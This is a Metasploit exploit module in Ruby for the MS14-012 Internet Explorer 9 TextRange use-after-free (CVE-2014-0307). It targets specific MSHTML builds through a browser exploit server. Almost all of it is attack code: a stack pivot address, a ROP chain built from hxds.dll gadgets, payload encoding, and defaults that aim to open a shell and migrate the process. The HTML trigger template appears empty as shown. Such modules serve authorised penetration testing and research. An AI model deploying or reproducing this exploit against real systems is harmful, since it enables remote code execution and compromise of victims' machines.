##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
was most likely introduced in 2013, therefore only certain builds of MSHTML are
affected. In our testing with IE9, these vulnerable builds appear to be between
9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between
August 2013, when it was introduced, until the fix issued in early March 2014.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original discovery
'sinn3r' # Port
],
'References' =>
[
[ 'CVE', '2014-0307' ],
[ 'MSB', 'MS14-012' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:office => "2010",
:ua_ver => '9.0',
:mshtml_build => lambda { |ver| ver.to_i.between?(16496, 16533) } # Covers MS13-Jul to MS14-Feb
},
'Targets' =>
[
[
'Automatic',
{
# mov eax,dword ptr [edx+0C4h]; call eax
'Pivot' => 0x0c0d1020 # ECX
}
]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
'InitialAutoRunScript' => 'migrate -f'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
end
# hxds.dll
def get_payload
setup =
[
0x51C3B376, # rop nop
0x51C2046E, # pop edi; ret
0x51BE4A41, # xchg eax, esp; ret
].pack("V*")
# rop nops
45.times { setup << [0x51C3B376].pack('V*') }
setup << [
0x51C2046E, # pop edi ; ret
0x51BD28D4 # mov eax, [ecx], call [eax+8]
].pack('V*')
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
Rex::Text.to_unescape(p)
end
def exploit_html
template = %Q|
|
return template, binding()
end
def on_request_exploit(cli, request, target_info)
send_exploit_html(cli, exploit_html)
end
end